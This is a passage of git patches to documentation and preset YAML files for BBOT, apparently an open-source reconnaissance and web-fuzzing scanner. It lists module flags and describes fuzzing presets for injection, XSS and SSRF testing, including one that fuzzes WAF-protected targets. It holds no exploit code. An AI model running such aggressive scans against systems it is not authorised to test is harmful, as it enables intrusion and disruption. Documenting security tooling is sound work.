ones -bbot -t evilcorp.com -f subdomain-enum -ef noisy +# Enable subdomain-enum modules but exclude loud ones +bbot -t evilcorp.com -f subdomain-enum -ef loud ``` This is equivalent to requiring the passive flag: @@ -112,29 +112,30 @@ A single module can have multiple flags. For example, the `securitytrails` modul ### List of Flags -| Flag | # Modules | Description | Modules | -|------------------|-------------|----------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| passive | 71 | Never connects to target systems | affiliates, aggregate, anubisdb, apkpure, asn, azure_tenant, bevigil, bucket_file_enum, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, digitorus, dnsbimi, dnscaa, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, excavate, fullhunt, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, google_playstore, hackertarget, hunterio, ip2location, ipneighbor, ipstack, jadx, kreuzberg, leakix, myssl, otx, passivetotal, pgp, portfilter, postman, postman_download, rapiddns, securitytrails, shodan_dns, shodan_enterprise, shodan_idb, sitedossier, skymem, social, speculate, subdomaincenter, subdomainradar, trajan, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback | -| active | 50 | Makes active connections to target systems | ajaxpro, aspnet_bin_exposure, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft, bypass403, dnsbrute, dnsbrute_mutations, dnscommonsrv, dotnetnuke, ffuf, ffuf_shortnames, filedownload, fingerprintx, git, gitlab_com, gitlab_onprem, gowitness, graphql_introspection, host_header, httpx, hunt, iis_shortnames, legba, lightfuzz, medusa, newsletters, ntlm, nuclei, oauth, paramminer_cookies, paramminer_getparams, paramminer_headers, portscan, reflected_parameters, retirejs, robots, securitytxt, smuggler, sslcert, telerik, url_manipulation, wafw00f, wpscan | -| subdomain-enum | 50 | Enumerates subdomains | anubisdb, asn, azure_tenant, baddns_direct, baddns_zone, bevigil, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, httpx, hunterio, ipneighbor, leakix, myssl, oauth, otx, passivetotal, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, sslcert, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, virustotal, wayback | -| noisy | 20 | Generates a large amount of network traffic | bypass403, dnsbrute, dnsbrute_mutations, dotnetnuke, ffuf, ffuf_shortnames, host_header, ipneighbor, legba, lightfuzz, medusa, nuclei, paramminer_cookies, paramminer_getparams, paramminer_headers, smuggler, telerik, url_manipulation, wafw00f, wpscan | -| code-enum | 19 | Find public code repositories and search them for secrets etc. | apkpure, code_repository, docker_pull, dockerhub, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, jadx, postman, postman_download, trajan, trufflehog | -| web | 16 | Non-intrusive web scan functionality | baddns, badsecrets, bucket_amazon, bucket_firebase, bucket_google, bucket_microsoft, filedownload, git, graphql_introspection, httpx, iis_shortnames, ntlm, oauth, robots, securitytxt, sslcert | -| cloud-enum | 15 | Enumerates cloud resources | azure_tenant, baddns, baddns_direct, baddns_zone, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, dnsbimi, dnstlsrpt, httpx, oauth, securitytxt | -| web-heavy | 14 | More advanced web scanning functionality | ajaxpro, aspnet_bin_exposure, bucket_digitalocean, bypass403, dotnetnuke, ffuf_shortnames, host_header, hunt, lightfuzz, reflected_parameters, retirejs, smuggler, telerik, url_manipulation | -| slow | 10 | May take a long time to complete | bucket_digitalocean, dnsbrute_mutations, docker_pull, fingerprintx, git_clone, gitdumper, paramminer_cookies, paramminer_getparams, paramminer_headers, smuggler | -| email-enum | 9 | Enumerates email addresses | dehashed, dnscaa, dnstlsrpt, emailformat, emails, hunterio, pgp, skymem, sslcert | -| affiliates | 7 | Discovers affiliated hostnames/domains | affiliates, azure_tenant, builtwith, oauth, sslcert, trickest, viewdns | -| download | 7 | Modules that download files, apps, or repositories | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, postman_download | -| invasive | 7 | Intrusive or potentially destructive | dotnetnuke, legba, lightfuzz, medusa, nuclei, smuggler, telerik | -| baddns | 3 | Runs all modules from the DNS auditing tool BadDNS | baddns, baddns_direct, baddns_zone | -| web-paramminer | 3 | Discovers HTTP parameters through brute-force | paramminer_cookies, paramminer_getparams, paramminer_headers | -| iis-shortnames | 2 | Scans for IIS Shortname vulnerability | ffuf_shortnames, iis_shortnames | -| portscan | 2 | Discovers open ports | portscan, shodan_idb | -| social-enum | 2 | Enumerates social media | httpx, social | -| service-enum | 1 | Identifies protocols running on open ports | fingerprintx | -| subdomain-hijack | 1 | Detects hijackable subdomains | baddns | -| web-screenshots | 1 | Takes screenshots of web pages | gowitness | +| Flag | # Modules | Description | Modules | +|------------------|-------------|----------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| safe | 103 | Non-intrusive and non-destructive | affiliates, aggregate, ajaxpro, anubisdb, apkpure, asn, aspnet_bin_exposure, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bevigil, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, digitorus, dnsbimi, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, emails, excavate, filedownload, fingerprintx, fullhunt, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, gowitness, graphql_introspection, hackertarget, httpx, hunt, hunterio, iis_shortnames, ip2location, ipstack, jadx, kreuzberg, leakix, myssl, newsletters, ntlm, oauth, otx, passivetotal, pgp, portfilter, portscan, postman, postman_download, rapiddns, reflected_parameters, retirejs, robots, securitytrails, securitytxt, shodan_dns, shodan_enterprise, shodan_idb, sitedossier, skymem, social, speculate, sslcert, subdomaincenter, subdomainradar, subdomains, trajan, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback | +| passive | 71 | Never connects to target systems | affiliates, aggregate, anubisdb, apkpure, asn, azure_tenant, bevigil, bucket_file_enum, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, digitorus, dnsbimi, dnscaa, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, excavate, fullhunt, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, google_playstore, hackertarget, hunterio, ip2location, ipneighbor, ipstack, jadx, kreuzberg, leakix, myssl, otx, passivetotal, pgp, portfilter, postman, postman_download, rapiddns, securitytrails, shodan_dns, shodan_enterprise, shodan_idb, sitedossier, skymem, social, speculate, subdomaincenter, subdomainradar, trajan, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback | +| active | 50 | Makes active connections to target systems | ajaxpro, aspnet_bin_exposure, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft, bypass403, dnsbrute, dnsbrute_mutations, dnscommonsrv, dotnetnuke, ffuf, ffuf_shortnames, filedownload, fingerprintx, git, gitlab_com, gitlab_onprem, gowitness, graphql_introspection, host_header, httpx, hunt, iis_shortnames, legba, lightfuzz, medusa, newsletters, ntlm, nuclei, oauth, paramminer_cookies, paramminer_getparams, paramminer_headers, portscan, reflected_parameters, retirejs, robots, securitytxt, smuggler, sslcert, telerik, url_manipulation, wafw00f, wpscan | +| subdomain-enum | 50 | Enumerates subdomains | anubisdb, asn, azure_tenant, baddns_direct, baddns_zone, bevigil, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, httpx, hunterio, ipneighbor, leakix, myssl, oauth, otx, passivetotal, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, sslcert, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, virustotal, wayback | +| loud | 20 | Generates a large amount of network traffic | bypass403, dnsbrute, dnsbrute_mutations, dotnetnuke, ffuf, ffuf_shortnames, host_header, ipneighbor, legba, lightfuzz, medusa, nuclei, paramminer_cookies, paramminer_getparams, paramminer_headers, smuggler, telerik, url_manipulation, wafw00f, wpscan | +| code-enum | 19 | Find public code repositories and search them for secrets etc. | apkpure, code_repository, docker_pull, dockerhub, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, jadx, postman, postman_download, trajan, trufflehog | +| web | 16 | Non-intrusive web scan functionality | baddns, badsecrets, bucket_amazon, bucket_firebase, bucket_google, bucket_microsoft, filedownload, git, graphql_introspection, httpx, iis_shortnames, ntlm, oauth, robots, securitytxt, sslcert | +| cloud-enum | 15 | Enumerates cloud resources | azure_tenant, baddns, baddns_direct, baddns_zone, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, dnsbimi, dnstlsrpt, httpx, oauth, securitytxt | +| web-heavy | 14 | More advanced web scanning functionality | ajaxpro, aspnet_bin_exposure, bucket_digitalocean, bypass403, dotnetnuke, ffuf_shortnames, host_header, hunt, lightfuzz, reflected_parameters, retirejs, smuggler, telerik, url_manipulation | +| slow | 10 | May take a long time to complete | bucket_digitalocean, dnsbrute_mutations, docker_pull, fingerprintx, git_clone, gitdumper, paramminer_cookies, paramminer_getparams, paramminer_headers, smuggler | +| email-enum | 9 | Enumerates email addresses | dehashed, dnscaa, dnstlsrpt, emailformat, emails, hunterio, pgp, skymem, sslcert | +| affiliates | 7 | Discovers affiliated hostnames/domains | affiliates, azure_tenant, builtwith, oauth, sslcert, trickest, viewdns | +| download | 7 | Modules that download files, apps, or repositories | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, postman_download | +| invasive | 7 | Intrusive or potentially destructive | dotnetnuke, legba, lightfuzz, medusa, nuclei, smuggler, telerik | +| baddns | 3 | Runs all modules from the DNS auditing tool BadDNS | baddns, baddns_direct, baddns_zone | +| web-paramminer | 3 | Discovers HTTP parameters through brute-force | paramminer_cookies, paramminer_getparams, paramminer_headers | +| iis-shortnames | 2 | Scans for IIS Shortname vulnerability | ffuf_shortnames, iis_shortnames | +| portscan | 2 | Discovers open ports | portscan, shodan_idb | +| social-enum | 2 | Enumerates social media | httpx, social | +| service-enum | 1 | Identifies protocols running on open ports | fingerprintx | +| subdomain-hijack | 1 | Detects hijackable subdomains | baddns | +| web-screenshots | 1 | Takes screenshots of web pages | gowitness | ## Dependencies diff --git a/docs/scanning/presets_list.md b/docs/scanning/presets_list.md index 2f3d959278..b026378358 100644 --- a/docs/scanning/presets_list.md +++ b/docs/scanning/presets_list.md @@ -1,6 +1,29 @@ Below is a list of every default BBOT preset, including its YAML. +## **baddns** + +Check for subdomain takeovers and other DNS issues. + +??? note "`baddns.yml`" + ```yaml title="~/.bbot/presets/baddns.yml" + description: Check for subdomain takeovers and other DNS issues. + + modules: + - baddns + + config: + modules: + baddns: + enabled_submodules: [CNAME, MX, TXT] + min_severity: LOW + min_confidence: MODERATE + ``` + + + +Modules: [0]("") + ## **baddns-heavy** Run all baddns modules and submodules. @@ -9,16 +32,25 @@ Run all baddns modules and submodules. ```yaml title="~/.bbot/presets/baddns-heavy.yml" description: Run all baddns modules and submodules. + include: + - baddns modules: - - baddns - baddns_zone - baddns_direct config: modules: baddns: - enabled_submodules: [CNAME,references,MX,NS,TXT] + enabled_submodules: [CNAME, NS, MX, TXT, references, DMARC, SPF, MTA-STS, WILDCARD] + min_severity: INFORMATIONAL + min_confidence: UNKNOWN + baddns_zone: + min_severity: INFORMATIONAL + min_confidence: UNKNOWN + baddns_direct: + min_severity: INFORMATIONAL + min_confidence: UNKNOWN ``` @@ -262,11 +294,6 @@ Everything everywhere all at once - dirbust-light - web-screenshots - baddns-heavy - - config: - modules: - baddns: - enable_references: True ``` @@ -785,6 +812,7 @@ Here is a the same data, but in a table: | Preset | Category | Description | # Modules | Modules | |-------------------|------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------|---------------------------------------------------------------------------------------------| +| baddns | | Check for subdomain takeovers and other DNS issues. | 1 | baddns | | baddns-heavy | | Run all baddns modules and submodules. | 3 | baddns, baddns_direct, baddns_zone | | cloud-enum | | Enumerate cloud resources such as storage buckets, etc. | 0 | | | code-enum | | Enumerate Git repositories, Docker images, etc. | 0 | | From 022876fdb8bc90387434c43d7819d6815216db5a Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 24 Mar 2026 15:02:33 -0400 Subject: [PATCH 359/912] Improve lightfuzz preset descriptions with detailed feature tables MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Each preset YAML and doc section now explicitly lists what submodules, companion modules, POST behavior, WAF handling, and other settings are enabled, making the progression from light→default→heavy→max clear. --- bbot/presets/web/lightfuzz-heavy.yml | 2 +- bbot/presets/web/lightfuzz-light.yml | 2 +- bbot/presets/web/lightfuzz-max.yml | 2 +- bbot/presets/web/lightfuzz-xss.yml | 2 +- bbot/presets/web/lightfuzz.yml | 2 +- docs/modules/lightfuzz.md | 47 ++++++++++++---- docs/scanning/presets_list.md | 80 ++++++++++++++-------------- 7 files changed, 82 insertions(+), 55 deletions(-) diff --git a/bbot/presets/web/lightfuzz-heavy.yml b/bbot/presets/web/lightfuzz-heavy.yml index 3b708974bb..ecc8c82c04 100644 --- a/bbot/presets/web/lightfuzz-heavy.yml +++ b/bbot/presets/web/lightfuzz-heavy.yml @@ -1,4 +1,4 @@ -description: Discover web parameters and fuzz them for vulnerabilities, with more aggressive discovery techniques, including POST parameters. Uses all lightfuzz submodules, and adds paramminer modules for parameter discovery. Avoids running against confirmed WAFs. +description: "Aggressive fuzzing: everything in lightfuzz, plus paramminer brute-force parameter discovery (headers, GET params, cookies), POST request fuzzing enabled, try_get_as_post enabled (GET params retested as POST), and robots.txt parsing. Still skips confirmed WAFs." include: - lightfuzz diff --git a/bbot/presets/web/lightfuzz-light.yml b/bbot/presets/web/lightfuzz-light.yml index 0292474185..052a774cd9 100644 --- a/bbot/presets/web/lightfuzz-light.yml +++ b/bbot/presets/web/lightfuzz-light.yml @@ -1,4 +1,4 @@ -description: Discover web parameters and lightly fuzz them for common vulnerabilities (path traversal, SQLi, XSS), with minimal extra modules. Safest to run alongside larger scans. +description: "Minimal fuzzing: only path traversal, SQLi, and XSS submodules. No POST requests. No companion modules. Safest option for running alongside larger scans with minimal overhead." modules: - httpx diff --git a/bbot/presets/web/lightfuzz-max.yml b/bbot/presets/web/lightfuzz-max.yml index 3a5dea4111..5ad33b817c 100644 --- a/bbot/presets/web/lightfuzz-max.yml +++ b/bbot/presets/web/lightfuzz-max.yml @@ -1,4 +1,4 @@ -description: Discover web parameters and fuzz them for vulnerabilities, with the most aggressive discovery techniques, including POST parameters. Uses all lightfuzz submodules, adds paramminer modules for parameter discovery, and tests each unique parameter-value instance individually. +description: "Maximum fuzzing: everything in lightfuzz-heavy, plus WAF targets are no longer skipped, each unique parameter-value pair is fuzzed individually (no collapsing), common headers like X-Forwarded-For are fuzzed even if not observed, and potential parameters are speculated from JSON/XML response bodies. Significantly increases scan time." include: - lightfuzz-heavy diff --git a/bbot/presets/web/lightfuzz-xss.yml b/bbot/presets/web/lightfuzz-xss.yml index 2a43bc039b..554f1f2b60 100644 --- a/bbot/presets/web/lightfuzz-xss.yml +++ b/bbot/presets/web/lightfuzz-xss.yml @@ -1,4 +1,4 @@ -description: Discover web parameters and lightly fuzz them, limited to just GET-based XSS vulnerabilities. Avoids running against confirmed WAFs. This is an example of a custom lightfuzz preset, selectively enabling a single lightfuzz submodule. +description: "XSS-only: enables only the xss submodule with paramminer_getparams and reflected_parameters. POST disabled, no query string collapsing. Example of a focused single-submodule preset." modules: - httpx diff --git a/bbot/presets/web/lightfuzz.yml b/bbot/presets/web/lightfuzz.yml index e2c9683b16..49c4e16567 100644 --- a/bbot/presets/web/lightfuzz.yml +++ b/bbot/presets/web/lightfuzz.yml @@ -1,4 +1,4 @@ -description: Discover web parameters and fuzz them for vulnerabilities. Uses all lightfuzz submodules. Does not send POST requests. This is the default lightfuzz preset; if you're not sure which one to use, this is a good starting point. Avoids running against confirmed WAFs. +description: "Default fuzzing: all 9 submodules (cmdi, crypto, path, serial, sqli, ssti, xss, esi, ssrf) plus companion modules (badsecrets, hunt, reflected_parameters). POST fuzzing disabled but try_post_as_get enabled, so POST params are retested as GET. Skips confirmed WAFs." include: - lightfuzz-light diff --git a/docs/modules/lightfuzz.md b/docs/modules/lightfuzz.md index 18ce1edbaf..c43a105c7c 100644 --- a/docs/modules/lightfuzz.md +++ b/docs/modules/lightfuzz.md @@ -203,33 +203,60 @@ If you don't want to dive into those details, here are the built-in preset optio ### `-p lightfuzz-light` -Minimal preset that checks for only the most common findings (path traversal, SQLi, XSS). Enables a select few submodules and is safest for larger scans. POST requests are disabled. +The most minimal option. Best for running alongside larger scans with minimal overhead. + +| Setting | Value | +|---|---| +| **Submodules** | `path`, `sqli`, `xss` only | +| **Companion modules** | None | +| **POST fuzzing** | Disabled | +| **WAF avoidance** | On | ### `-p lightfuzz` -The default starting point. Enables all lightfuzz submodules and includes necessary config options, plus companion modules (`badsecrets`, `hunt`, `reflected_parameters`). **POST request fuzzing is disabled** — this is the most common concern for less aggressive scanning, especially on internal networks. +The default starting point. If you're not sure which to use, start here. + +| Setting | Value | +|---|---| +| **Submodules** | All 9 (`cmdi`, `crypto`, `path`, `serial`, `sqli`, `ssti`, `xss`, `esi`, `ssrf`) | +| **Companion modules** | `badsecrets`, `hunt`, `reflected_parameters` | +| **POST fuzzing** | Disabled, but `try_post_as_get` is on (POST params retested as GET) | +| **WAF avoidance** | On | ### `-p lightfuzz-heavy` Everything in `lightfuzz`, plus: -* **Param Miner** modules enabled for brute-force parameter discovery -* POST parameter fuzzing enabled -* Slightly increased spider settings +| Added setting | Value | +|---|---| +| **Param Miner** | `paramminer_headers`, `paramminer_getparams`, `paramminer_cookies` — brute-force discovery of hidden parameters | +| **POST fuzzing** | Enabled | +| **`try_get_as_post`** | On — GET params are also retested as POST | +| **`robots.txt`** | Parsed for additional URL discovery | ### `-p lightfuzz-max` Everything in `lightfuzz-heavy`, plus: -* Query string collapsing turned OFF — each unique parameter-value instance is fuzzed individually instead of being deduplicated -* Force common headers enabled — fuzz common header parameters (e.g., `X-Forwarded-For`) even if they weren't discovered -* Speculate GET parameters from JSON/XML response bodies +| Added setting | Value | +|---|---| +| **WAF avoidance** | Off — WAF-protected targets are fuzzed | +| **Query string collapsing** | Off — each unique parameter-value pair is fuzzed individually instead of deduplicating by parameter name | +| **Force common headers** | On — headers like `X-Forwarded-For` are fuzzed even if not observed on the target | +| **Speculate params** | On — potential parameters are extracted from JSON/XML response bodies | -These settings add significant scan time and aren't typically desired for routine scanning. +These settings significantly increase scan time and traffic. Not recommended for routine scanning. ### `-p lightfuzz-xss` -A focused preset for XSS hunting. Enables only the `xss` submodule with `paramminer_getparams` for parameter discovery. POST requests are disabled, and query string collapsing is off. This is an example of how to build a preset targeting specific submodules. +A focused preset for XSS hunting only. Demonstrates how to build a single-submodule preset. + +| Setting | Value | +|---|---| +| **Submodules** | `xss` only | +| **Companion modules** | `paramminer_getparams`, `reflected_parameters` | +| **POST fuzzing** | Disabled | +| **Query string collapsing** | Off | ### Spider Preset diff --git a/docs/scanning/presets_list.md b/docs/scanning/presets_list.md index b026378358..98a4d126ec 100644 --- a/docs/scanning/presets_list.md +++ b/docs/scanning/presets_list.md @@ -302,11 +302,11 @@ Modules: [0]("") ## **lightfuzz** -Discover web parameters and fuzz them for vulnerabilities. Uses all lightfuzz submodules. Does not send POST requests. This is the default lightfuzz preset; if you're not sure which one to use, this is a good starting point. Avoids running against confirmed WAFs. +Default fuzzing: all 9 submodules (cmdi, crypto, path, serial, sqli, ssti, xss, esi, ssrf) plus companion modules (badsecrets, hunt, reflected_parameters). POST fuzzing disabled but try_post_as_get enabled, so POST params are retested as GET. Skips confirmed WAFs. ??? note "`lightfuzz.yml`" ```yaml title="~/.bbot/presets/web/lightfuzz.yml" - description: Discover web parameters and fuzz them for vulnerabilities. Uses all lightfuzz submodules. Does not send POST requests. This is the default lightfuzz preset; if you're not sure which one to use, this is a good starting point. Avoids running against confirmed WAFs. + description: "Default fuzzing: all 9 submodules (cmdi, crypto, path, serial, sqli, ssti, xss, esi, ssrf) plus companion modules (badsecrets, hunt, reflected_parameters). POST fuzzing disabled but try_post_as_get enabled, so POST params are retested as GET. Skips confirmed WAFs." include: - lightfuzz-light @@ -329,11 +329,11 @@ Modules: [0]("") ## **lightfuzz-heavy** -Discover web parameters and fuzz them for vulnerabilities, with more aggressive discovery techniques, including POST parameters. Uses all lightfuzz submodules, and adds paramminer modules for parameter discovery. Avoids running against confirmed WAFs. +Aggressive fuzzing: everything in lightfuzz, plus paramminer brute-force parameter discovery (headers, GET params, cookies), POST request fuzzing enabled, try_get_as_post enabled (GET params retested as POST), and robots.txt parsing. Still skips confirmed WAFs. ??? note "`lightfuzz-heavy.yml`" ```yaml title="~/.bbot/presets/web/lightfuzz-heavy.yml" - description: Discover web parameters and fuzz them for vulnerabilities, with more aggressive discovery techniques, including POST parameters. Uses all lightfuzz submodules, and adds paramminer modules for parameter discovery. Avoids running against confirmed WAFs. + description: "Aggressive fuzzing: everything in lightfuzz, plus paramminer brute-force parameter discovery (headers, GET params, cookies), POST request fuzzing enabled, try_get_as_post enabled (GET params retested as POST), and robots.txt parsing. Still skips confirmed WAFs." include: - lightfuzz @@ -359,11 +359,11 @@ Modules: [0]("") ## **lightfuzz-light** -Discover web parameters and lightly fuzz them for common vulnerabilities (path traversal, SQLi, XSS), with minimal extra modules. Safest to run alongside larger scans. +Minimal fuzzing: only path traversal, SQLi, and XSS submodules. No POST requests. No companion modules. Safest option for running alongside larger scans with minimal overhead. ??? note "`lightfuzz-light.yml`" ```yaml title="~/.bbot/presets/web/lightfuzz-light.yml" - description: Discover web parameters and lightly fuzz them for common vulnerabilities (path traversal, SQLi, XSS), with minimal extra modules. Safest to run alongside larger scans. + description: "Minimal fuzzing: only path traversal, SQLi, and XSS submodules. No POST requests. No companion modules. Safest option for running alongside larger scans with minimal overhead." modules: - httpx @@ -392,11 +392,11 @@ Modules: [0]("") ## **lightfuzz-max** -Discover web parameters and fuzz them for vulnerabilities, with the most aggressive discovery techniques, including POST parameters. Uses all lightfuzz submodules, adds paramminer modules for parameter discovery, and tests each unique parameter-value instance individually. +Maximum fuzzing: everything in lightfuzz-heavy, plus WAF targets are no longer skipped, each unique parameter-value pair is fuzzed individually (no collapsing), common headers like X-Forwarded-For are fuzzed even if not observed, and potential parameters are speculated from JSON/XML response bodies. Significantly increases scan time. ??? note "`lightfuzz-max.yml`" ```yaml title="~/.bbot/presets/web/lightfuzz-max.yml" - description: Discover web parameters and fuzz them for vulnerabilities, with the most aggressive discovery techniques, including POST parameters. Uses all lightfuzz submodules, adds paramminer modules for parameter discovery, and tests each unique parameter-value instance individually. + description: "Maximum fuzzing: everything in lightfuzz-heavy, plus WAF targets are no longer skipped, each unique parameter-value pair is fuzzed individually (no collapsing), common headers like X-Forwarded-For are fuzzed even if not observed, and potential parameters are speculated from JSON/XML response bodies. Significantly increases scan time." include: - lightfuzz-heavy @@ -418,11 +418,11 @@ Modules: [0]("") ## **lightfuzz-xss** -Discover web parameters and lightly fuzz them, limited to just GET-based XSS vulnerabilities. Avoids running against confirmed WAFs. This is an example of a custom lightfuzz preset, selectively enabling a single lightfuzz submodule. +XSS-only: enables only the xss submodule with paramminer_getparams and reflected_parameters. POST disabled, no query string collapsing. Example of a focused single-submodule preset. ??? note "`lightfuzz-xss.yml`" ```yaml title="~/.bbot/presets/web/lightfuzz-xss.yml" - description: Discover web parameters and lightly fuzz them, limited to just GET-based XSS vulnerabilities. Avoids running against confirmed WAFs. This is an example of a custom lightfuzz preset, selectively enabling a single lightfuzz submodule. + description: "XSS-only: enables only the xss submodule with paramminer_getparams and reflected_parameters. POST disabled, no query string collapsing. Example of a focused single-submodule preset." modules: - httpx @@ -810,34 +810,34 @@ Modules: [0]("") Here is a the same data, but in a table: -| Preset | Category | Description | # Modules | Modules | -|-------------------|------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------|---------------------------------------------------------------------------------------------| -| baddns | | Check for subdomain takeovers and other DNS issues. | 1 | baddns | -| baddns-heavy | | Run all baddns modules and submodules. | 3 | baddns, baddns_direct, baddns_zone | -| cloud-enum | | Enumerate cloud resources such as storage buckets, etc. | 0 | | -| code-enum | | Enumerate Git repositories, Docker images, etc. | 0 | | -| dirbust-heavy | web | Recursive web directory brute-force (aggressive) | 3 | ffuf, httpx, wayback | -| dirbust-light | web | Basic web directory brute-force (surface-level directories only) | 1 | ffuf | -| dotnet-audit | web | Comprehensive scan for all IIS/.NET specific modules and module settings | 8 | ajaxpro, aspnet_bin_exposure, badsecrets, dotnetnuke, ffuf, ffuf_shortnames, httpx, telerik | -| email-enum | | Enumerate email addresses from APIs, web crawling, etc. | 0 | | -| fast | | Scan only the provided targets as fast as possible - no extra discovery | 0 | | -| iis-shortnames | web | Recursively enumerate IIS shortnames | 0 | | -| kitchen-sink | | Everything everywhere all at once | 7 | baddns, baddns_direct, baddns_zone, ffuf, httpx, hunt, reflected_parameters | -| lightfuzz | web | Discover web parameters and fuzz them for vulnerabilities. Uses all lightfuzz submodules. Does not send POST requests. This is the default lightfuzz preset; if you're not sure which one to use, this is a good starting point. Avoids running against confirmed WAFs. | 6 | badsecrets, httpx, hunt, lightfuzz, portfilter, reflected_parameters | -| lightfuzz-heavy | web | Discover web parameters and fuzz them for vulnerabilities, with more aggressive discovery techniques, including POST parameters. Uses all lightfuzz submodules, and adds paramminer modules for parameter discovery. Avoids running against confirmed WAFs. | 7 | badsecrets, httpx, hunt, lightfuzz, portfilter, reflected_parameters, robots | -| lightfuzz-light | web | Discover web parameters and lightly fuzz them for common vulnerabilities (path traversal, SQLi, XSS), with minimal extra modules. Safest to run alongside larger scans. | 3 | httpx, lightfuzz, portfilter | -| lightfuzz-max | web | Discover web parameters and fuzz them for vulnerabilities, with the most aggressive discovery techniques, including POST parameters. Uses all lightfuzz submodules, adds paramminer modules for parameter discovery, and tests each unique parameter-value instance individually. | 7 | badsecrets, httpx, hunt, lightfuzz, portfilter, reflected_parameters, robots | -| lightfuzz-xss | web | Discover web parameters and lightly fuzz them, limited to just GET-based XSS vulnerabilities. Avoids running against confirmed WAFs. This is an example of a custom lightfuzz preset, selectively enabling a single lightfuzz submodule. | 5 | httpx, lightfuzz, paramminer_getparams, portfilter, reflected_parameters | -| nuclei | nuclei | Run nuclei scans against all discovered targets | 3 | httpx, nuclei, portfilter | -| nuclei-budget | nuclei | Run nuclei scans against all discovered targets, using budget mode to look for low hanging fruit with greatly reduced number of requests | 3 | httpx, nuclei, portfilter | -| nuclei-heavy | nuclei | Run nuclei scans against all discovered targets, allowing for spidering, against ALL URLs, and with additional discovery modules. | 6 | httpx, nuclei, portfilter, robots, urlscan, wayback | -| nuclei-technology | nuclei | Run nuclei scans against all discovered targets, running templates which match discovered technologies | 3 | httpx, nuclei, portfilter | -| paramminer | web | Discover new web parameters via brute-force, and analyze them with additional modules | 3 | httpx, hunt, reflected_parameters | -| spider | | Recursive web spider | 1 | httpx | -| spider-heavy | | Recursive web spider with more aggressive settings | 1 | httpx | -| subdomain-enum | | Enumerate subdomains via APIs, brute-force | 0 | | -| tech-detect | | Detect technologies via Nuclei, and FingerprintX | 2 | fingerprintx, nuclei | -| web | | Quick web scan | 0 | | -| web-heavy | | Aggressive web scan | 0 | | -| web-screenshots | | Take screenshots of webpages | 0 | | +| Preset | Category | Description | # Modules | Modules | +|-------------------|------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------|---------------------------------------------------------------------------------------------| +| baddns | | Check for subdomain takeovers and other DNS issues. | 1 | baddns | +| baddns-heavy | | Run all baddns modules and submodules. | 3 | baddns, baddns_direct, baddns_zone | +| cloud-enum | | Enumerate cloud resources such as storage buckets, etc. | 0 | | +| code-enum | | Enumerate Git repositories, Docker images, etc. | 0 | | +| dirbust-heavy | web | Recursive web directory brute-force (aggressive) | 3 | ffuf, httpx, wayback | +| dirbust-light | web | Basic web directory brute-force (surface-level directories only) | 1 | ffuf | +| dotnet-audit | web | Comprehensive scan for all IIS/.NET specific modules and module settings | 8 | ajaxpro, aspnet_bin_exposure, badsecrets, dotnetnuke, ffuf, ffuf_shortnames, 